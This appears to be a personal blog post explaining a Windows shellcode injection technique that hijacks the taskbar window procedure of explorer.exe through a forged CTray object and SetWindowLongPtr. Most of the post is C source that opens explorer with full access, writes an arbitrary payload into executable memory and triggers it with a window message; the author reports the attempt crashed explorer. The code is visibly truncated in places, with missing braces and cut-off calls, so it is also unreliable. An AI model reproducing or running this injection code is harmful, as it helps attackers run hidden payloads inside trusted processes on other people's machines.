windows:shellcode remote thread hook/injection

The third idea for remotely executing shellcode is introduced today: function callbacks;

1. Callback, simple understanding:

  • When windows goes out of the factory, there are many transactions that cannot be solidified internally (100% can't predict what will happen outside), leaving only a bunch of interfaces for developers to improve the processing of these transactions, such as multi-threading; windows provides the interfaces to create threads, CreateThread, CreateRemoteThread. What happens when a thread is created? Execute developer personalized code, of course! So the parameters of these API s also reserve entries for developers to customize their code;
  • Inside windows: different modules have different functions, they are collaborative and typically many-to-many. If the calls between modules are tightly coupled and solidified, which is not conducive to the reuse of modules, many parts of the internal are loosely coupled through callback functions, such as the window message mechanism: PostMessage, SendMessage between windows, after receiving messages, developers can customize the processing of messages by rewriting the WndProc function;

This experiment uses the messaging mechanism between windows to execute its own shellcode, with the following core principles:

  • Via Shell_TrayWnd opens the target process (usually explorer.exe);
  • * Write to shellcode
  • Construct a CTray object with one member, WndProc, pointing to the shellcode; The CTray object is then written to the target process
  • Call SetWindowLongPtr and let the handler of the window point to the CTray object to execute our own defined shellcode;

The core code is as follows:

Header file:

//#define UNICODE
#include "ntlib/ntddk.h"
#include <stdio.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ntdll.lib")

// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
DWORD readpic(PWCHAR path, LPVOID* pic);

#endif // !_KCT_H

File C:

#include "ktc.h"

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    // 1. Obtain a handle for the shell tray window
    hw = FindWindow(L"Shell_TrayWnd", NULL);

    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    printf("find window ID=%d\n", pid);
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    if (ctp == 0)
        printf("GetWindowLongPtr failed!\n");

    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp,
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable,
        (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize,

    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    printf("payload address:%p\n", payload);
    //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs yes exlorer Address of the process, something happens here;
    printf("cs address:%p\n", cs);
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct),

    // 10. Write the new CTray object to remote memory
    ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

    // 11. Set the new pointer to CTray object
    if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) 
        printf("SetWindowLongPtr failed!\n");
        VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
        VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
    // 12. Trigger the payload via a windows message
    //PostMessage(hw, WM_CLOSE, 0, 0);
    PostMessage(hw, WM_PAINT, 0, 0);
    //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //Execute Injection Code
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);


    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);

/*shellcode Read from bin file*/
DWORD readpic(PWCHAR path, LPVOID* pic) {
    HANDLE hf;
    DWORD  len, rd = 0;

    // 1. open the file
    hf = CreateFile(path, GENERIC_READ, 0, 0,

    if (hf != INVALID_HANDLE_VALUE) {
        // get file size
        len = GetFileSize(hf, 0);
        // allocate memory
        *pic = malloc(len + 16);
        printf("*pic:%p------------->\n", *pic);
        // read file contents into memory
        ReadFile(hf, *pic, len, &rd, 0);
    return rd;

int main(void) {
    LPVOID pic = NULL;
    DWORD  len;
    int    argc;
    PWCHAR* argv;

    argv = CommandLineToArgvW(GetCommandLine(), &argc);

    if (argc != 2) 
        printf("usage: kct <payload>\n");
        return 0; 

    len = readpic(argv[1], &pic);
    if (len == 0) { printf("invalid payload\n"); return 0; }

    //kernelcallbacktable(pic, len);
    CTray_WndProc_Hook(pic, len);
    return 0;

After execution: From the process hacker, shellcode successfully writes to the explorer process:


Instead of popping up the messageBox as expected, the explorer crashes (as shown by inability to open the folder, unresponsive right-click on the lower-left taskbar, unresponsive start by clicking on the lower-left corner). After adding pause s to different codes and trying several times, the problem is discovered: SetWindowLongPtr failed to execute. The reasons for personal guess (not verified) are as follows:

When SetWindowLongPtr executes, it changes the original default message processing function to our custom shellcode, which takes time to switch. However, windows is a very complex system with messages to process every millisecond, subtle or even nanoseconds and a lot of messages to be received when switching, but these messages are too late (or impossible) to process during the switching process, causing explorer to crash, and then the process automatically restarts after hanging up. Then there will be original response when you right-click on the taskbar, click on folders, click on the start of the lower left corner, etc. This reminds me of some trick s when Front End Time learns to write operating systems using assembly: when executing important instructions, Click to close the interrupt first to avoid the interruption of the instructions. Restart sti to open interrupt after execution is complete; SetWindowLongPtr, however, does not appear to have the ability to block messages when it is executed (some ideas will be made later, such as reversing some critical DLLs to verify);

This experiment was a failure. There are more than 10 ways to inject shellcode, and subsequent attempts will be made to find the most suitable one at the moment.

Finally: borrow (chao) reference (xi) other people's ideas and codes as follows:


Posted by koray on Tue, 31 May 2022 02:54:36 +0530